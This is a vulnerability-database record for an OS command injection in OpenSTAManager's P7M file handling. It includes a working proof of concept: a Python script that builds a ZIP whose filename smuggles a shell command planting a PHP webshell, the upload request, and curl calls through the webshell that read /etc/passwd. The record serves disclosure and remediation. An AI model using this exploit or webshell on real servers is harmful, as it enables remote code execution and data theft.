{"id":"CVE-2025-69212","aliases":["GHSA-25fp-8w8p-mx36"],"url":"https://o3.security/vulnerability/CVE-2025-69212","summary":"OpenSTAManager has an OS Command Injection in P7M File Processing","details":"## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.'/'.basename($file, '.p7m');\n\n    try {\n        if (function_exists('exec')) {\n            // VULNERABLE - No input sanitization!\n            exec('openssl smime -verify -noverify -in \"'.$file.'\" -inform DER -out \"'.$output_file.'\"', $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, '.p7m')) {\n           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, '.p7m')) {\n       $file = XML::decodeP7M($this->file);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**⚠️ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files && echo '<?php system($_GET[\\\"c\\\"]); ?>' > SHELL.php\"\nmalicious_filename = f'invoice.p7m\";{cmd};echo \".p7m'\n\nwith zipfile.ZipFile('exploit.zip', 'w') as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n<img width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" />\n\n<img width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" />\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, '<' not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n<img width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" />\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n<img width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" />\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn't contain shell metacharacters\n    if (preg_match('/[;&|`$(){}\\\\[\\\\]<>]/', $file)) {\n        throw new \\Exception('Invalid file path');\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, '.p7m')) {\n        $file = XML::decodeP7M($directory.'/'.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: Łukasz Rybak","published":"2026-02-06T18:12:38.391Z","modified":"2026-08-12T03:51:09.059991146Z","cvss":null,"epss":{"score":0.01935,"percentile":0.78485,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":3,"affectedPackages":[{"ecosystem":"Packagist","name":"devcode-it/openstamanager","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69212.json"},{"type":"ADVISORY","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69212"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.059991146Z"}}